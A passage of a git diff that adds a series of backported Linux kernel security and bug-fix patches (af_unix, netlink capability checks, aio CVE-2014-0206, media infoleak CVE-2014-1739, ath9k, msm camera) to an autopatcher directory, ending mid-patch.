b/recipes-kernel/linux/linux-bass/autopatcher/0039-5bed19c9f463-PATCH UPSTREAM afunix Guard against other sk in.patch new file mode 100644 index 0000000..65238ba --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0039-5bed19c9f463-PATCH UPSTREAM afunix Guard against other sk in.patch @@ -0,0 +1,56 @@ +From 5bed19c9f463f9078063363779548c50aea271a0 Mon Sep 17 00:00:00 2001 +From: Rainer Weikusat +Date: Thu, 11 Feb 2016 19:37:27 +0000 +Subject: [PATCH] UPSTREAM: af_unix: Guard against other == sk in + unix_dgram_sendmsg + +(cherry picked from commit a5527dda344fff0514b7989ef7a755729769daa1) + +The unix_dgram_sendmsg routine use the following test + +if (unlikely(unix_peer(other) != sk && unix_recvq_full(other))) { + +to determine if sk and other are in an n:1 association (either +established via connect or by using sendto to send messages to an +unrelated socket identified by address). This isn't correct as the +specified address could have been bound to the sending socket itself or +because this socket could have been connected to itself by the time of +the unix_peer_get but disconnected before the unix_state_lock(other). In +both cases, the if-block would be entered despite other == sk which +might either block the sender unintentionally or lead to trying to unlock +the same spin lock twice for a non-blocking send. Add a other != sk +check to guard against this. + +Fixes: 7d267278a9ec ("unix: avoid use-after-free in ep_remove_wait_queue") +Reported-By: Philipp Hahn +Signed-off-by: Rainer Weikusat +Tested-by: Philipp Hahn +Signed-off-by: David S. Miller + +Fixes: Change-Id: Ia374ee061195088f8c777940baa75cedbe897f4e + ("UPSTREAM: unix: avoid use-after-free in ep_remove_wait_queue") +Change-Id: I4ebef6a390df3487903b166b837e34c653e01cb2 +Signed-off-by: Amit Pundir +Bug: 29119002 +--- + net/unix/af_unix.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 5e6323792a5e0..204bee47aa10c 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -1701,7 +1701,12 @@ static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock, + goto out_unlock; + } + +- if (unlikely(unix_peer(other) != sk && unix_recvq_full(other))) { ++ /* other == sk && unix_peer(other) != sk if ++ * - unix_peer(sk) == NULL, destination address bound to sk ++ * - unix_peer(sk) == sk by time of get but disconnected before lock ++ */ ++ if (other != sk && ++ unlikely(unix_peer(other) != sk && unix_recvq_full(other))) { + if (timeo) { + timeo = unix_wait_for_peer(other, timeo); + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0040-d806b7310e47-netlink Rename netlinkcapable netlinkallowed.patch b/recipes-kernel/linux/linux-bass/autopatcher/0040-d806b7310e47-netlink Rename netlinkcapable netlinkallowed.patch new file mode 100644 index 0000000..1251aab --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0040-d806b7310e47-netlink Rename netlinkcapable netlinkallowed.patch @@ -0,0 +1,69 @@ +From d806b7310e479239441cebdd3fdcdacdb4208db3 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Wed, 23 Apr 2014 14:25:48 -0700 +Subject: netlink: Rename netlink_capable netlink_allowed + +[ Upstream commit 5187cd055b6e81fc6526109456f8b20623148d5f ] + +netlink_capable is a static internal function in af_netlink.c and we +have better uses for the name netlink_capable. + +Signed-off-by: "Eric W. Biederman" +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/netlink/af_netlink.c | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c +index c9c2a8441d32d..3f1d67e7cf5bd 100644 +--- a/net/netlink/af_netlink.c ++++ b/net/netlink/af_netlink.c +@@ -1219,7 +1219,7 @@ retry: + return err; + } + +-static inline int netlink_capable(const struct socket *sock, unsigned int flag) ++static inline int netlink_allowed(const struct socket *sock, unsigned int flag) + { + return (nl_table[sock->sk->sk_protocol].flags & flag) || + ns_capable(sock_net(sock->sk)->user_ns, CAP_NET_ADMIN); +@@ -1287,7 +1287,7 @@ static int netlink_bind(struct socket *sock, struct sockaddr *addr, + + /* Only superuser is allowed to listen multicasts */ + if (nladdr->nl_groups) { +- if (!netlink_capable(sock, NL_CFG_F_NONROOT_RECV)) ++ if (!netlink_allowed(sock, NL_CFG_F_NONROOT_RECV)) + return -EPERM; + err = netlink_realloc_groups(sk); + if (err) +@@ -1349,7 +1349,7 @@ static int netlink_connect(struct socket *sock, struct sockaddr *addr, + return -EINVAL; + + /* Only superuser is allowed to send multicasts */ +- if (nladdr->nl_groups && !netlink_capable(sock, NL_CFG_F_NONROOT_SEND)) ++ if (nladdr->nl_groups && !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND)) + return -EPERM; + + if (!nlk->portid) +@@ -1921,7 +1921,7 @@ static int netlink_setsockopt(struct socket *sock, int level, int optname, + break; + case NETLINK_ADD_MEMBERSHIP: + case NETLINK_DROP_MEMBERSHIP: { +- if (!netlink_capable(sock, NL_CFG_F_NONROOT_RECV)) ++ if (!netlink_allowed(sock, NL_CFG_F_NONROOT_RECV)) + return -EPERM; + err = netlink_realloc_groups(sk); + if (err) +@@ -2072,7 +2072,7 @@ static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock, + dst_group = ffs(addr->nl_groups); + err = -EPERM; + if ((dst_group || dst_portid) && +- !netlink_capable(sock, NL_CFG_F_NONROOT_SEND)) ++ !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND)) + goto out; + } else { + dst_portid = nlk->dst_portid; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0041-c35b4e287f5e-net Add variants of capable for use on on sockets.patch b/recipes-kernel/linux/linux-bass/autopatcher/0041-c35b4e287f5e-net Add variants of capable for use on on sockets.patch new file mode 100644 index 0000000..8223e6a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0041-c35b4e287f5e-net Add variants of capable for use on on sockets.patch @@ -0,0 +1,98 @@ +From c35b4e287f5ede32bae6db1aef1ae3e9174bb2ff Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Wed, 23 Apr 2014 14:26:56 -0700 +Subject: net: Add variants of capable for use on on sockets + +[ Upstream commit a3b299da869d6e78cf42ae0b1b41797bcb8c5e4b ] + +sk_net_capable - The common case, operations that are safe in a network namespace. +sk_capable - Operations that are not known to be safe in a network namespace +sk_ns_capable - The general case for special cases. + +Signed-off-by: "Eric W. Biederman" +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/net/sock.h | 5 +++++ + net/core/sock.c | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 54 insertions(+) + +diff --git a/include/net/sock.h b/include/net/sock.h +index 8f32b779bc83f..72f710d2f75a0 100644 +--- a/include/net/sock.h ++++ b/include/net/sock.h +@@ -2248,6 +2248,11 @@ extern void sock_enable_timestamp(struct sock *sk, int flag); + extern int sock_get_timestamp(struct sock *, struct timeval __user *); + extern int sock_get_timestampns(struct sock *, struct timespec __user *); + ++bool sk_ns_capable(const struct sock *sk, ++ struct user_namespace *user_ns, int cap); ++bool sk_capable(const struct sock *sk, int cap); ++bool sk_net_capable(const struct sock *sk, int cap); ++ + /* + * Enable debug/info messages + */ +diff --git a/net/core/sock.c b/net/core/sock.c +index d743099250f40..af65d17517b8e 100644 +--- a/net/core/sock.c ++++ b/net/core/sock.c +@@ -142,6 +142,55 @@ + static DEFINE_MUTEX(proto_list_mutex); + static LIST_HEAD(proto_list); + ++/** ++ * sk_ns_capable - General socket capability test ++ * @sk: Socket to use a capability on or through ++ * @user_ns: The user namespace of the capability to use ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket had when the socket was ++ * created and the current process has the capability @cap in the user ++ * namespace @user_ns. ++ */ ++bool sk_ns_capable(const struct sock *sk, ++ struct user_namespace *user_ns, int cap) ++{ ++ return file_ns_capable(sk->sk_socket->file, user_ns, cap) && ++ ns_capable(user_ns, cap); ++} ++EXPORT_SYMBOL(sk_ns_capable); ++ ++/** ++ * sk_capable - Socket global capability test ++ * @sk: Socket to use a capability on or through ++ * @cap: The global capbility to use ++ * ++ * Test to see if the opener of the socket had when the socket was ++ * created and the current process has the capability @cap in all user ++ * namespaces. ++ */ ++bool sk_capable(const struct sock *sk, int cap) ++{ ++ return sk_ns_capable(sk, &init_user_ns, cap); ++} ++EXPORT_SYMBOL(sk_capable); ++ ++/** ++ * sk_net_capable - Network namespace socket capability test ++ * @sk: Socket to use a capability on or through ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket had when the socke was created ++ * and the current process has the capability @cap over the network namespace ++ * the socket is a member of. ++ */ ++bool sk_net_capable(const struct sock *sk, int cap) ++{ ++ return sk_ns_capable(sk, sock_net(sk)->user_ns, cap); ++} ++EXPORT_SYMBOL(sk_net_capable); ++ ++ + #ifdef CONFIG_MEMCG_KMEM + int mem_cgroup_sockets_init(struct mem_cgroup *memcg, struct cgroup_subsys *ss) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0042-738f378d77b0-net Add variants of capable for use on netlink messages.patch b/recipes-kernel/linux/linux-bass/autopatcher/0042-738f378d77b0-net Add variants of capable for use on netlink messages.patch new file mode 100644 index 0000000..0570201 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0042-738f378d77b0-net Add variants of capable for use on netlink messages.patch @@ -0,0 +1,117 @@ +From 738f378d77b04f685f2cd01aa4240d1bce5c9668 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Wed, 23 Apr 2014 14:28:03 -0700 +Subject: net: Add variants of capable for use on netlink messages + +[ Upstream commit aa4cf9452f469f16cea8c96283b641b4576d4a7b ] + +netlink_net_capable - The common case use, for operations that are safe on a network namespace +netlink_capable - For operations that are only known to be safe for the global root +netlink_ns_capable - The general case of capable used to handle special cases + +__netlink_ns_capable - Same as netlink_ns_capable except taking a netlink_skb_parms instead of + the skbuff of a netlink message. + +Signed-off-by: "Eric W. Biederman" +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/netlink.h | 7 ++++++ + net/netlink/af_netlink.c | 65 ++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 72 insertions(+) + +diff --git a/include/linux/netlink.h b/include/linux/netlink.h +index 6358da5eeee8f..438b312aa0502 100644 +--- a/include/linux/netlink.h ++++ b/include/linux/netlink.h +@@ -144,4 +144,11 @@ static inline int netlink_dump_start(struct sock *ssk, struct sk_buff *skb, + return __netlink_dump_start(ssk, skb, nlh, control); + } + ++bool __netlink_ns_capable(const struct netlink_skb_parms *nsp, ++ struct user_namespace *ns, int cap); ++bool netlink_ns_capable(const struct sk_buff *skb, ++ struct user_namespace *ns, int cap); ++bool netlink_capable(const struct sk_buff *skb, int cap); ++bool netlink_net_capable(const struct sk_buff *skb, int cap); ++ + #endif /* __LINUX_NETLINK_H */ +diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c +index 3f1d67e7cf5bd..e846e3e361fad 100644 +--- a/net/netlink/af_netlink.c ++++ b/net/netlink/af_netlink.c +@@ -1219,6 +1219,71 @@ retry: + return err; + } + ++/** ++ * __netlink_ns_capable - General netlink message capability test ++ * @nsp: NETLINK_CB of the socket buffer holding a netlink command from userspace. ++ * @user_ns: The user namespace of the capability to use ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket we received the message ++ * from had when the netlink socket was created and the sender of the ++ * message has has the capability @cap in the user namespace @user_ns. ++ */ ++bool __netlink_ns_capable(const struct netlink_skb_parms *nsp, ++ struct user_namespace *user_ns, int cap) ++{ ++ return sk_ns_capable(nsp->sk, user_ns, cap); ++} ++EXPORT_SYMBOL(__netlink_ns_capable); ++ ++/** ++ * netlink_ns_capable - General netlink message capability test ++ * @skb: socket buffer holding a netlink command from userspace ++ * @user_ns: The user namespace of the capability to use ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket we received the message ++ * from had when the netlink socket was created and the sender of the ++ * message has has the capability @cap in the user namespace @user_ns. ++ */ ++bool netlink_ns_capable(const struct sk_buff *skb, ++ struct user_namespace *user_ns, int cap) ++{ ++ return __netlink_ns_capable(&NETLINK_CB(skb), user_ns, cap); ++} ++EXPORT_SYMBOL(netlink_ns_capable); ++ ++/** ++ * netlink_capable - Netlink global message capability test ++ * @skb: socket buffer holding a netlink command from userspace ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket we received the message ++ * from had when the netlink socket was created and the sender of the ++ * message has has the capability @cap in all user namespaces. ++ */ ++bool netlink_capable(const struct sk_buff *skb, int cap) ++{ ++ return netlink_ns_capable(skb, &init_user_ns, cap); ++} ++EXPORT_SYMBOL(netlink_capable); ++ ++/** ++ * netlink_net_capable - Netlink network namespace message capability test ++ * @skb: socket buffer holding a netlink command from userspace ++ * @cap: The capability to use ++ * ++ * Test to see if the opener of the socket we received the message ++ * from had when the netlink socket was created and the sender of the ++ * message has has the capability @cap over the network namespace of ++ * the socket we received the message from. ++ */ ++bool netlink_net_capable(const struct sk_buff *skb, int cap) ++{ ++ return netlink_ns_capable(skb, sock_net(skb->sk)->user_ns, cap); ++} ++EXPORT_SYMBOL(netlink_net_capable); ++ + static inline int netlink_allowed(const struct socket *sock, unsigned int flag) + { + return (nl_table[sock->sk->sk_protocol].flags & flag) || +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0043-d36db46c2cba-aio fix kernel memory disclosure in iogetevents introduced in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0043-d36db46c2cba-aio fix kernel memory disclosure in iogetevents introduced in.patch new file mode 100644 index 0000000..22c772f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0043-d36db46c2cba-aio fix kernel memory disclosure in iogetevents introduced in.patch @@ -0,0 +1,45 @@ +From d36db46c2cba973557eb6138d22210c4e0cf17d6 Mon Sep 17 00:00:00 2001 +From: Benjamin LaHaise +Date: Tue, 24 Jun 2014 13:32:51 -0400 +Subject: aio: fix kernel memory disclosure in io_getevents() introduced in + v3.10 + +commit edfbbf388f293d70bf4b7c0bc38774d05e6f711a upstream. + +A kernel memory disclosure was introduced in aio_read_events_ring() in v3.10 +by commit a31ad380bed817aa25f8830ad23e1a0480fef797. The changes made to +aio_read_events_ring() failed to correctly limit the index into +ctx->ring_pages[], allowing an attacked to cause the subsequent kmap() of +an arbitrary page with a copy_to_user() to copy the contents into userspace. +This vulnerability has been assigned CVE-2014-0206. Thanks to Mateusz and +Petr for disclosing this issue. + +This patch applies to v3.12+. A separate backport is needed for 3.10/3.11. + +[jmoyer@redhat.com: backported to 3.10] +Signed-off-by: Benjamin LaHaise +Signed-off-by: Jeff Moyer +Cc: Mateusz Guzik +Cc: Petr Matousek +Cc: Kent Overstreet +Signed-off-by: Greg Kroah-Hartman +--- + fs/aio.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/fs/aio.c b/fs/aio.c +index 8d2c997a550c8..ded94c4fa30d3 100644 +--- a/fs/aio.c ++++ b/fs/aio.c +@@ -717,6 +717,8 @@ static long aio_read_events_ring(struct kioctx *ctx, + if (head == ctx->tail) + goto out; + ++ head %= ctx->nr_events; ++ + while (ret < nr) { + long avail; + struct io_event *ev; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0044-6745cb91b5ec-aio fix aio request leak when events are reaped by userspace.patch b/recipes-kernel/linux/linux-bass/autopatcher/0044-6745cb91b5ec-aio fix aio request leak when events are reaped by userspace.patch new file mode 100644 index 0000000..61a729b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0044-6745cb91b5ec-aio fix aio request leak when events are reaped by userspace.patch @@ -0,0 +1,57 @@ +From 6745cb91b5ec93a1b34221279863926fba43d0d7 Mon Sep 17 00:00:00 2001 +From: Benjamin LaHaise +Date: Tue, 24 Jun 2014 13:12:55 -0400 +Subject: aio: fix aio request leak when events are reaped by userspace + +commit f8567a3845ac05bb28f3c1b478ef752762bd39ef upstream. + +The aio cleanups and optimizations by kmo that were merged into the 3.10 +tree added a regression for userspace event reaping. Specifically, the +reference counts are not decremented if the event is reaped in userspace, +leading to the application being unable to submit further aio requests. +This patch applies to 3.12+. A separate backport is required for 3.10/3.11. +This issue was uncovered as part of CVE-2014-0206. + +[jmoyer@redhat.com: backported to 3.10] +Signed-off-by: Benjamin LaHaise +Signed-off-by: Jeff Moyer +Cc: Kent Overstreet +Cc: Mateusz Guzik +Cc: Petr Matousek +Signed-off-by: Greg Kroah-Hartman +--- + fs/aio.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/fs/aio.c b/fs/aio.c +index ebd06fd0de89c..8d2c997a550c8 100644 +--- a/fs/aio.c ++++ b/fs/aio.c +@@ -310,7 +310,6 @@ static void free_ioctx(struct kioctx *ctx) + + avail = (head <= ctx->tail ? ctx->tail : ctx->nr_events) - head; + +- atomic_sub(avail, &ctx->reqs_active); + head += avail; + head %= ctx->nr_events; + } +@@ -678,6 +677,7 @@ void aio_complete(struct kiocb *iocb, long res, long res2) + put_rq: + /* everything turned out well, dispose of the aiocb. */ + aio_put_req(iocb); ++ atomic_dec(&ctx->reqs_active); + + /* + * We have to order our ring_info tail store above and test +@@ -755,8 +755,6 @@ static long aio_read_events_ring(struct kioctx *ctx, + flush_dcache_page(ctx->ring_pages[0]); + + pr_debug("%li h%u t%u\n", ret, head, ctx->tail); +- +- atomic_sub(ret, &ctx->reqs_active); + out: + mutex_unlock(&ctx->ring_lock); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0045-ee37138b8cee-msm camera ispif Validate vfeintf parameter.patch b/recipes-kernel/linux/linux-bass/autopatcher/0045-ee37138b8cee-msm camera ispif Validate vfeintf parameter.patch new file mode 100644 index 0000000..9136c47 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0045-ee37138b8cee-msm camera ispif Validate vfeintf parameter.patch @@ -0,0 +1,31 @@ +From ee37138b8ceee6035c93756043eaac7eaa1c0948 Mon Sep 17 00:00:00 2001 +From: Suman Mukherjee +Date: Wed, 17 Dec 2014 10:00:49 +0530 +Subject: msm: camera: ispif: Validate vfe_intf parameter + +Validate vfe_intf parameter to avoid invalid register access. + +Change-Id: Ie0b57071cc5fca1c48d3a5e2e7819f9af9ff544c +Signed-off-by: Suman Mukherjee +--- + drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +index 8f99ff6..d044c1d 100755 +--- a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c ++++ b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +@@ -60,8 +60,8 @@ static void msm_ispif_io_dump_reg(struct ispif_device *ispif) + static inline int msm_ispif_is_intf_valid(uint32_t csid_version, + uint8_t intf_type) + { +- return (csid_version <= CSID_VERSION_V22 && intf_type != VFE0) ? +- false : true; ++ return ((csid_version <= CSID_VERSION_V22 && intf_type != VFE0) || ++ (intf_type >= VFE_MAX)) ? false : true; + } + + static struct msm_cam_clk_info ispif_8626_reset_clk_info[] = { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0046-4e32a7c66fae-media mediadevice fix infoleak in ioctl mediaenumentities.patch b/recipes-kernel/linux/linux-bass/autopatcher/0046-4e32a7c66fae-media mediadevice fix infoleak in ioctl mediaenumentities.patch new file mode 100644 index 0000000..1f61f8d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0046-4e32a7c66fae-media mediadevice fix infoleak in ioctl mediaenumentities.patch @@ -0,0 +1,35 @@ +From 4e32a7c66fae40bde0fbff8cbc893eabe8575135 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Salva=20Peir=C3=B3?= +Date: Wed, 30 Apr 2014 19:48:02 +0200 +Subject: media: media-device: fix infoleak in ioctl media_enum_entities() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit e6a623460e5fc960ac3ee9f946d3106233fd28d8 upstream. + +This fixes CVE-2014-1739. + +Signed-off-by: Salva Peiró +Acked-by: Laurent Pinchart +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/media-device.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/media/media-device.c b/drivers/media/media-device.c +index 1957c0df08fdb..79715f9feb0a4 100644 +--- a/drivers/media/media-device.c ++++ b/drivers/media/media-device.c +@@ -93,6 +93,7 @@ static long media_device_enum_entities(struct media_device *mdev, + struct media_entity *ent; + struct media_entity_desc u_ent; + ++ memset(&u_ent, 0, sizeof(u_ent)); + if (copy_from_user(&u_ent.id, &uent->id, sizeof(u_ent.id))) + return -EFAULT; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0047-c5f0c0e75254-core nfqueue openvswitch Orphan frags in skbzerocopy and handle.patch b/recipes-kernel/linux/linux-bass/autopatcher/0047-c5f0c0e75254-core nfqueue openvswitch Orphan frags in skbzerocopy and handle.patch new file mode 100644 index 0000000..83d701c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0047-c5f0c0e75254-core nfqueue openvswitch Orphan frags in skbzerocopy and handle.patch @@ -0,0 +1,118 @@ +From c5f0c0e7525443add533495e93ba8de6feab2396 Mon Sep 17 00:00:00 2001 +From: Zoltan Kiss +Date: Wed, 26 Mar 2014 22:37:45 +0000 +Subject: core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle + errors + +commit 36d5fe6a000790f56039afe26834265db0a3ad4c upstream. + +skb_zerocopy can copy elements of the frags array between skbs, but it doesn't +orphan them. Also, it doesn't handle errors, so this patch takes care of that +as well, and modify the callers accordingly. skb_tx_error() is also added to +the callers so they will signal the failed delivery towards the creator of the +skb. + +Signed-off-by: Zoltan Kiss +Signed-off-by: David S. Miller +[bwh: Backported to 3.13: skb_zerocopy() is new in 3.14, but was moved from a + static function in nfnetlink_queue. We need to patch that and its caller, but + not openvswitch.] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/netfilter/nfnetlink_queue_core.c | 29 +++++++++++++++++++++-------- + 1 file changed, 21 insertions(+), 8 deletions(-) + +diff --git a/net/netfilter/nfnetlink_queue_core.c b/net/netfilter/nfnetlink_queue_core.c +index 5352b2d2d5bf6..2b8199f68785d 100644 +--- a/net/netfilter/nfnetlink_queue_core.c ++++ b/net/netfilter/nfnetlink_queue_core.c +@@ -227,22 +227,23 @@ nfqnl_flush(struct nfqnl_instance *queue, nfqnl_cmpfn cmpfn, unsigned long data) + spin_unlock_bh(&queue->lock); + } + +-static void ++static int + nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) + { + int i, j = 0; + int plen = 0; /* length of skb->head fragment */ ++ int ret; + struct page *page; + unsigned int offset; + + /* dont bother with small payloads */ +- if (len <= skb_tailroom(to)) { +- skb_copy_bits(from, 0, skb_put(to, len), len); +- return; +- } ++ if (len <= skb_tailroom(to)) ++ return skb_copy_bits(from, 0, skb_put(to, len), len); + + if (hlen) { +- skb_copy_bits(from, 0, skb_put(to, hlen), hlen); ++ ret = skb_copy_bits(from, 0, skb_put(to, hlen), hlen); ++ if (unlikely(ret)) ++ return ret; + len -= hlen; + } else { + plen = min_t(int, skb_headlen(from), len); +@@ -260,6 +261,11 @@ nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) + to->len += len + plen; + to->data_len += len + plen; + ++ if (unlikely(skb_orphan_frags(from, GFP_ATOMIC))) { ++ skb_tx_error(from); ++ return -ENOMEM; ++ } ++ + for (i = 0; i < skb_shinfo(from)->nr_frags; i++) { + if (!len) + break; +@@ -270,6 +276,8 @@ nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) + j++; + } + skb_shinfo(to)->nr_frags = j; ++ ++ return 0; + } + + static int nfqnl_put_packet_info(struct sk_buff *nlskb, struct sk_buff *packet) +@@ -355,13 +363,16 @@ nfqnl_build_packet_message(struct nfqnl_instance *queue, + + skb = nfnetlink_alloc_skb(&init_net, size, queue->peer_portid, + GFP_ATOMIC); +- if (!skb) ++ if (!skb) { ++ skb_tx_error(entskb); + return NULL; ++ } + + nlh = nlmsg_put(skb, 0, 0, + NFNL_SUBSYS_QUEUE << 8 | NFQNL_MSG_PACKET, + sizeof(struct nfgenmsg), 0); + if (!nlh) { ++ skb_tx_error(entskb); + kfree_skb(skb); + return NULL; + } +@@ -481,13 +492,15 @@ nfqnl_build_packet_message(struct nfqnl_instance *queue, + nla->nla_type = NFQA_PAYLOAD; + nla->nla_len = nla_attr_size(data_len); + +- nfqnl_zcopy(skb, entskb, data_len, hlen); ++ if (nfqnl_zcopy(skb, entskb, data_len, hlen)) ++ goto nla_put_failure; + } + + nlh->nlmsg_len = skb->len; + return skb; + + nla_put_failure: ++ skb_tx_error(entskb); + kfree_skb(skb); + net_err_ratelimited("nf_queue: error creating packet message\n"); + return NULL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0048-4237cc8ef3fc-ath9k protect tidsched check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0048-4237cc8ef3fc-ath9k protect tidsched check.patch new file mode 100644 index 0000000..3d99a78 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0048-4237cc8ef3fc-ath9k protect tidsched check.patch @@ -0,0 +1,74 @@ +From 4237cc8ef3fc3916c337423cbaab818890e628c8 Mon Sep 17 00:00:00 2001 +From: Stanislaw Gruszka +Date: Wed, 19 Feb 2014 13:15:17 +0100 +Subject: ath9k: protect tid->sched check + +[ Upstream commit 21f8aaee0c62708654988ce092838aa7df4d25d8 ] + +We check tid->sched without a lock taken on ath_tx_aggr_sleep(). That +is race condition which can result of doing list_del(&tid->list) twice +(second time with poisoned list node) and cause crash like shown below: + +[424271.637220] BUG: unable to handle kernel paging request at 00100104 +[424271.637328] IP: [] ath_tx_aggr_sleep+0x62/0xe0 [ath9k] +... +[424271.639953] Call Trace: +[424271.639998] [] ? ath9k_get_survey+0x110/0x110 [ath9k] +[424271.640083] [] ath9k_sta_notify+0x42/0x50 [ath9k] +[424271.640177] [] sta_ps_start+0x8f/0x1c0 [mac80211] +[424271.640258] [] ? free_compound_page+0x2e/0x40 +[424271.640346] [] ieee80211_rx_handlers+0x9d5/0x2340 [mac80211] +[424271.640437] [] ? kmem_cache_free+0x1d8/0x1f0 +[424271.640510] [] ? kfree_skbmem+0x34/0x90 +[424271.640578] [] ? put_page+0x2c/0x40 +[424271.640640] [] ? kfree_skbmem+0x34/0x90 +[424271.640706] [] ? kfree_skbmem+0x34/0x90 +[424271.640787] [] ? ieee80211_rx_handlers_result+0x73/0x1d0 [mac80211] +[424271.640897] [] ieee80211_prepare_and_rx_handle+0x520/0xad0 [mac80211] +[424271.641009] [] ? ieee80211_rx_handlers+0x2ed/0x2340 [mac80211] +[424271.641104] [] ? ip_output+0x7e/0xd0 +[424271.641182] [] ieee80211_rx+0x307/0x7c0 [mac80211] +[424271.641266] [] ath_rx_tasklet+0x88e/0xf70 [ath9k] +[424271.641358] [] ? ieee80211_rx+0x1dc/0x7c0 [mac80211] +[424271.641445] [] ath9k_tasklet+0xcb/0x130 [ath9k] + +Bug report: +https://bugzilla.kernel.org/show_bug.cgi?id=70551 + +Reported-and-tested-by: Max Sydorenko +Signed-off-by: Stanislaw Gruszka +Signed-off-by: John W. Linville +[ xl: backported to 3.10: adjusted context ] +Signed-off-by: Xiangyu Lu +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/wireless/ath/ath9k/xmit.c | 8 +++++--- + 1 file changed, 5 insertions(+), 3 deletions(-) + +diff --git a/drivers/net/wireless/ath/ath9k/xmit.c b/drivers/net/wireless/ath/ath9k/xmit.c +index e752f5d4995d4..0c9b2f1c69395 100644 +--- a/drivers/net/wireless/ath/ath9k/xmit.c ++++ b/drivers/net/wireless/ath/ath9k/xmit.c +@@ -1255,14 +1255,16 @@ void ath_tx_aggr_sleep(struct ieee80211_sta *sta, struct ath_softc *sc, + for (tidno = 0, tid = &an->tid[tidno]; + tidno < IEEE80211_NUM_TIDS; tidno++, tid++) { + +- if (!tid->sched) +- continue; +- + ac = tid->ac; + txq = ac->txq; + + ath_txq_lock(sc, txq); + ++ if (!tid->sched) { ++ ath_txq_unlock(sc, txq); ++ continue; ++ } ++ + buffered = !skb_queue_empty(&tid->buf_q); + + tid->sched = false; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0049-aece4fa7368d-powerpctm Fix crash when forking inside a transaction.patch b/recipes-kernel/linux/linux-bass/autopatcher/0049-aece4fa7368d-powerpctm Fix crash when forking inside a transaction.patch new file mode 100644 index 0000000..68361ee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0049-aece4fa7368d-powerpctm Fix crash when forking inside a transaction.patch @@ -0,0 +1,72 @@ +From aece4fa7368debd14ac07ebaf569587ff02cc596 Mon Sep 17 00:00:00 2001 +From: Michael Neuling +Date: Mon, 3 Mar 2014 14:21:40 +1100 +Subject: powerpc/tm: Fix crash when forking inside a transaction + +commit 621b5060e823301d0cba4cb52a7ee3491922d291 upstream. + +When we fork/clone we currently don't copy any of the TM state to the new +thread. This results in a TM bad thing (program check) when the new process is +switched in as the kernel does a tmrechkpt with TEXASR FS not set. Also, since 